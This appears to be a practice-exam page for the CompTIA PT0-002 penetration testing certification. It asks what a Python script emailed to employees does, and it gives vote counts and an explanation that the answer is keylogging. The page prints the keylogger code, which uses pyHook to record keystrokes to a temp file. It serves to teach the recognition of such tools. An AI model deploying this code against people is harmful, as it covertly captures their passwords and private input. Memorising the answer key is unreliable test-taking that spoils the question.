nerdexam
CompTIA

PT0-002 · Question #426

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees: import pyHook, sys, logging, pythoncom, datetime log_file='C:\\Windows\\Temp\\log_comptia.txt'…

The correct answer is B. Keylogging. The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is…

Post-exploitation and lateral movement

Question

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime log_file='C:\Windows\Temp\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii) logging.log(10, chr(event.Ascii)) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = KbrdEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() Which of the following is the intended effect of this script?

Options

  • ADebugging an exploit
  • BKeylogging
  • CCollecting logs
  • DScheduling tasks

How the community answered

(37 responses)
  • A
    3% (1)
  • B
    86% (32)
  • C
    3% (1)
  • D
    8% (3)

Explanation

The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is pressed, the KbrdEvent function is triggered, which logs the ASCII value of the pressed key to a file named log_comptia.txt located in C:\Windows\Temp. The script is configured to continuously monitor keyboard events and log them, making its intended effect keylogging, rather than debugging an exploit, collecting logs in a general sense, or scheduling tasks.

Topics

#Keylogger#Python scripting#Post-exploitation#Information gathering

Community Discussion

No community discussion yet for this question.

Full PT0-002 Practice